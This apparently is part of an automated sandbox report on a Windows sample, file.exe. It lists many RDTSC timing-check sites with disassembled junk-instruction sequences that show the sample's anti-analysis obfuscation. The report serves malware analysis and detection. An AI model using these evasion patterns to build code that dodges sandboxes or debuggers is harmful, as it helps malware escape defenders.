Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA75B second address: ABA765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD84CFDF726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA765 second address: ABA773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FD84C765E16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABAB23 second address: ABAB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABAC98 second address: ABACA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD84C765E16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB4E0 second address: ABB4F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD84CFDF730h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB968 second address: ABB96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB96F second address: ABB99F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF734h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007FD84CFDF733h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA29E second address: ABA2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E23h 0x00000009 jmp 00007FD84C765E28h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA2CE second address: ABA2D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2662 second address: AC266F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC266F second address: AC2683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD84CFDF72Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2683 second address: AC2689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2689 second address: AC268D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1303 second address: AC1307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1307 second address: AC1313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1313 second address: AC1318 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1318 second address: AC133F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD84CFDF739h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC133F second address: AC1375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD84C765E25h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD84C765E29h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1375 second address: AC1379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1379 second address: AC138F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC14F1 second address: AC14FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC14FB second address: AC150D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FD84C765E16h 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1DA7 second address: AC1DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD84CFDF726h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1EED second address: AC1EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC20C9 second address: AC20D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007FD84CFDF726h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5337 second address: AC533B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC533B second address: AC5345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5345 second address: AC5349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5349 second address: AC5351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CBFF second address: A3CC46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E26h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FD84C765E1Eh 0x00000011 pop ecx 0x00000012 jbe 00007FD84C765E18h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e push edi 0x0000001f pop edi 0x00000020 je 00007FD84C765E16h 0x00000026 pop edi 0x00000027 push eax 0x00000028 push edx 0x00000029 push esi 0x0000002a pop esi 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC46 second address: A3CC62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Ah 0x00000007 jmp 00007FD84CFDF72Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D42F second address: A69882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dh, al 0x0000000e call dword ptr [ebp+122D215Ah] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jp 00007FD84C765E16h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DA13 second address: A8DA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8DBB9 second address: A8DBBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9DBC second address: AC9DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA1AA second address: ACA1B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA1B5 second address: ACA1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA1BB second address: ACA1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA1C1 second address: ACA1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD10DA second address: AD10E9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD84C765E16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD10E9 second address: AD1102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF734h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1102 second address: AD110D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FD84C765E16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD110D second address: AD1113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BB0A second address: A4BB17 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD08F3 second address: AD0903 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FD84CFDF726h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0903 second address: AD0907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0AAB second address: AD0AB8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD84CFDF726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0AB8 second address: AD0AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 jnl 00007FD84C765E1Ch 0x0000000d jmp 00007FD84C765E1Ch 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD84C765E20h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0AEA second address: AD0AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FD84CFDF726h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0C57 second address: AD0C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD84C765E1Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD36DD second address: AD36E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD31FE second address: AD3202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3202 second address: AD322C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD84CFDF72Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD84CFDF735h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD903A second address: AD9042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD9042 second address: AD9046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD9046 second address: AD905A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8412 second address: AD841D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD841D second address: AD8421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8421 second address: AD8425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8A95 second address: AD8AC6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD84C765E18h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jno 00007FD84C765E1Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007FD84C765E16h 0x0000001b jmp 00007FD84C765E1Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8AC6 second address: AD8AD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FD84CFDF726h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8AD4 second address: AD8AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8C1C second address: AD8C21 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC006 second address: ADC00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBCAE second address: ADBCB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBCB4 second address: ADBCCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push edi 0x00000009 push ebx 0x0000000a jng 00007FD84C765E16h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FD84C765E16h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBCCF second address: ADBCD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2326 second address: AE232A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE232A second address: AE2334 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD84CFDF726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E037 second address: A8E041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD84C765E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E041 second address: A8E0BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edx, dword ptr [ebp+122D300Eh] 0x00000012 mov ebx, dword ptr [ebp+124821F6h] 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FD84CFDF728h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 add eax, ebx 0x00000034 or edi, 6D6D3732h 0x0000003a mov dx, 7321h 0x0000003e nop 0x0000003f jmp 00007FD84CFDF738h 0x00000044 push eax 0x00000045 pushad 0x00000046 pushad 0x00000047 push esi 0x00000048 pop esi 0x00000049 pushad 0x0000004a popad 0x0000004b popad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2FD3 second address: AE2FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD84C765E1Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2FE9 second address: AE2FED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2FED second address: AE2FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE898D second address: AE899A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8B24 second address: AE8B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8B35 second address: AE8B59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FD84CFDF726h 0x00000009 jmp 00007FD84CFDF737h 0x0000000e pop edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8B59 second address: AE8B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jo 00007FD84C765E1Ch 0x00000010 je 00007FD84C765E16h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jo 00007FD84C765E16h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE923F second address: AE9266 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FD84CFDF738h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c js 00007FD84CFDF726h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE95A0 second address: AE95BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD84C765E21h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE95BF second address: AE95F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF737h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jl 00007FD84CFDF726h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FD84CFDF72Dh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98CF second address: AE98DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98DA second address: AE98DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98DE second address: AE98E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98E4 second address: AE98FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d jc 00007FD84CFDF72Eh 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98FB second address: AE98FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE98FF second address: AE990B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD84CFDF726h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE990B second address: AE990F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9CBE second address: AE9CDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FD84CFDF734h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9FA3 second address: AE9FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9FAB second address: AE9FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA5A7 second address: AEA5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA5AB second address: AEA5DC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD84CFDF726h 0x00000008 jno 00007FD84CFDF726h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FD84CFDF72Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD84CFDF731h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA5DC second address: AEA5E6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD84C765E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA88B second address: AEA88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0172 second address: AF019E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FD84C765E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d je 00007FD84C765E4Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD84C765E25h 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3244 second address: AF324A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
